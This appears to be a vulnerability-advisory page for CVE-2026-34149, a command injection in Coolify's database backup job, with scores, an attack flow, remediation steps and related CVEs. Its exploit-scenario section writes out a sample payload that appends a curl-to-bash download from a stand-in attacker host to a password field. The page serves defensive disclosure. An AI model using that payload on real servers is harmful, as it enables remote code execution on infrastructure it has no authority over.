Skip to main content

Coolify CVE-2026-34149

| EUVDEUVD-2026-41989 LOW
OS Command Injection (CWE-78)
2026-07-07 GitHub_M
3.3
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with database management role
  2. Delivery
    Set shell metacharacters in database credentials or MongoDB exclusion names
  3. Exploit
    Trigger DatabaseBackupJob (scheduled or manual)
  4. Execution
    Shell interprets injected metacharacters in backup command
  5. Persist
    Arbitrary OS commands execute on managed server
  6. Impact
    Attain server-level code execution beyond intended permissions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Coolify session with database management permissions - specifically the ability to edit database credentials or configure MongoDB collection exclusion names within the Coolify UI. The attacker must also be able to cause DatabaseBackupJob to execute, either by waiting for a scheduled run or triggering a manual backup. Unauthenticated users cannot exploit this flaw. Users authenticated to Coolify but lacking database management permissions cannot exploit it. Single-administrator Coolify instances where only one fully trusted user exists have no realistic exploitation path. The at-risk deployment model is a multi-user or team instance where one or more lower-trust users hold the database management role as a scoped permission without full server access - this is the scenario where the flaw enables privilege escalation beyond the intended permission boundary.

Impact

The official CVSS 3.3 (Low) score - vector AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - materially understates real-world risk on two axes. First, the Unchanged scope (S:U) conflicts with the description, which explicitly states commands execute on managed servers external to the Coolify application boundary; this is a scope change scenario. Second, C:L/I:L/A:N understates the consequence of arbitrary OS command execution on a production server. EPSS data was not supplied in the intelligence feed, so exploitation probability cannot be quantified numerically. KEV status is negative and no public POC has been identified, so exploitation is not confirmed as active. Despite PR:H as a gating requirement, the attack procedure is straightforward for any user legitimately holding database management permissions - no technical sophistication beyond editing a credential field is required, which reduces the practical barrier implied by AC:H. Real-world priority is moderate for single-administrator deployments (near-zero realistic attacker path) and meaningfully elevated for multi-user or team Coolify instances where lower-trust users hold database management roles and can abuse that access to pivot to server shell access.

Exploit ScenarioDerived

A developer in a team Coolify deployment - legitimately granted database management permissions but not server shell access - edits the password field of a managed MongoDB instance to append a payload such as ; curl https://attacker.example/implant.sh | bash. When DatabaseBackupJob executes (on its next scheduled run or when triggered manually), Coolify interpolates the malicious credential directly into the backup shell command, causing the injected payload to execute on the managed server with the privileges of the backup process. No public exploit code has been identified at time of analysis.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 07, 2026

Command injection in Coolify's DatabaseBackupJob allows authenticated users holding database management permissions to execute arbitrary OS commands on managed servers by embedding shell metacharacters in database credentials or MongoDB collection exclusion names. All Coolify releases prior to 4.0.0-beta.471 are affected. No public exploit code has been identified at time of analysis and the vulnerability is absent from CISA KEV; however, the practical impact substantially exceeds the official CVSS 3.3 Low rating because successful exploitation grants attacker-controlled shell execution on production infrastructure managed by the platform.

RemediationAI

Upgrade Coolify to version 4.0.0-beta.471 or later, which addresses the injection via commits 952f3247970d261ff93f85c79066192f58f9557e and 99043600ee881fd8581185e7590604d9882382cd as documented at https://github.com/coollabsio/coolify/releases/tag/v4.0.0-beta.471. If an immediate upgrade cannot be performed, restrict database management permissions exclusively to fully trusted administrators, eliminating the attacker role needed for exploitation - note this is a compensating control only and does not fix the underlying flaw. Additionally, audit all database credentials currently stored in Coolify for shell metacharacters (such as ;, |, $(), and backticks) and review recent backup job execution logs on managed servers for anomalous command output. Removing the MongoDB exclusion-name functionality from lower-privileged users is a targeted workaround if the feature is not operationally required.

Affected VersionsENISA

coolify < 4.0.0-beta.471

Affected Packages

euvd coolify fix: 4.0.0-beta.471

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify (CPE: cpe:2.3:a:coollabsio:coolify:*:*:*:*:*:*:*:*) is an open-source, self-hostable PaaS that orchestrates servers, applications, and databases via a web interface. Its DatabaseBackupJob component constructs shell commands to perform database backup operations and directly interpolates user-supplied values - specifically database credentials and MongoDB collection exclusion names - into those commands without sanitization or shell escaping. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) flaw: shell metacharacters present in those inputs (semicolons, backticks, pipe characters, command substitution syntax) are interpreted by the invoking shell rather than treated as literal data. Because Coolify operates as a management plane that issues commands against remote servers, the injection point executes in the context of managed infrastructure rather than solely on the Coolify host itself.

Know when Coolify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 3.3 LOW
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
vuln.today AI 9.1 CRITICAL

PR:H for required database management role; S:C with C/I/A:H because arbitrary OS command execution reaches managed servers outside Coolify's own security boundary.

3.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
High
Privileges Required
High
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

1
Patch available
Jul 07, 2026 - 05:01 EUVD

DescriptionCVE.org

Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to 4.0.0-beta.471, DatabaseBackupJob interpolates user-controlled database credentials and MongoDB collection exclusion names into backup shell commands without adequate escaping, allowing an authenticated user with database management permissions to execute commands on managed servers. This issue is fixed in version 4.0.0-beta.471.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Low
niche self-hosting PaaS tool, primarily indie and small-team adoption
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

16
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +16
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-57498 CRITICAL POC
9.6 Jun 29

Cross-team authorization bypass in Coolify (open-source self-hosted PaaS) before 4.0.0-beta.474 allows an authenticated,

CVE-2025-34161 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.7 are vulnerable to a remote code execution vulnerability in the project deplo

CVE-2025-34159 CRITICAL POC
9.4 Aug 27

Coolify versions prior to v4.0.0-beta.420.6 are vulnerable to a remote code execution vulnerability in the application d

CVE-2025-64424 CRITICAL POC
9.4 Jan 05

Command injection in Coolify up to and including v4.0.0-beta.434 lets any authenticated low-privileged 'member' execute

CVE-2025-59156 CRITICAL POC
9.4 Jan 05

Remote code execution on the host OS is possible through Coolify's application deployment workflow prior to version 4.0.

CVE-2025-66211 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify's PostgreSQL initialization-script filename handling allows users with applic

CVE-2025-66210 CRITICAL POC
9.4 Dec 23

Coolify versions prior to 4.0.0-beta.451 pass user-supplied database names unsanitized into shell commands executed via

CVE-2025-66213 CRITICAL POC
9.4 Dec 23

Authenticated Coolify users who hold application or service management permissions can execute arbitrary commands as roo

CVE-2025-66212 CRITICAL POC
9.4 Dec 23

Authenticated command injection in Coolify before 4.0.0-beta.451 lets users with application or service management permi

CVE-2025-59158 CRITICAL POC
9.4 Jan 05

Stored cross-site scripting in Coolify versions up to and including v4.0.0-beta.420.6 lets an authenticated low-privileg

CVE-2026-34594 HIGH POC
8.8 Jun 29

Authenticated OS command injection in Coolify before 4.0.0-beta.471 lets any user holding destination management permiss

CVE-2026-34597 HIGH POC
8.8 Jun 29

Authenticated remote code execution in Coolify (self-hosted PaaS) before 4.0.0-beta.470 lets a low-privileged authentica

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy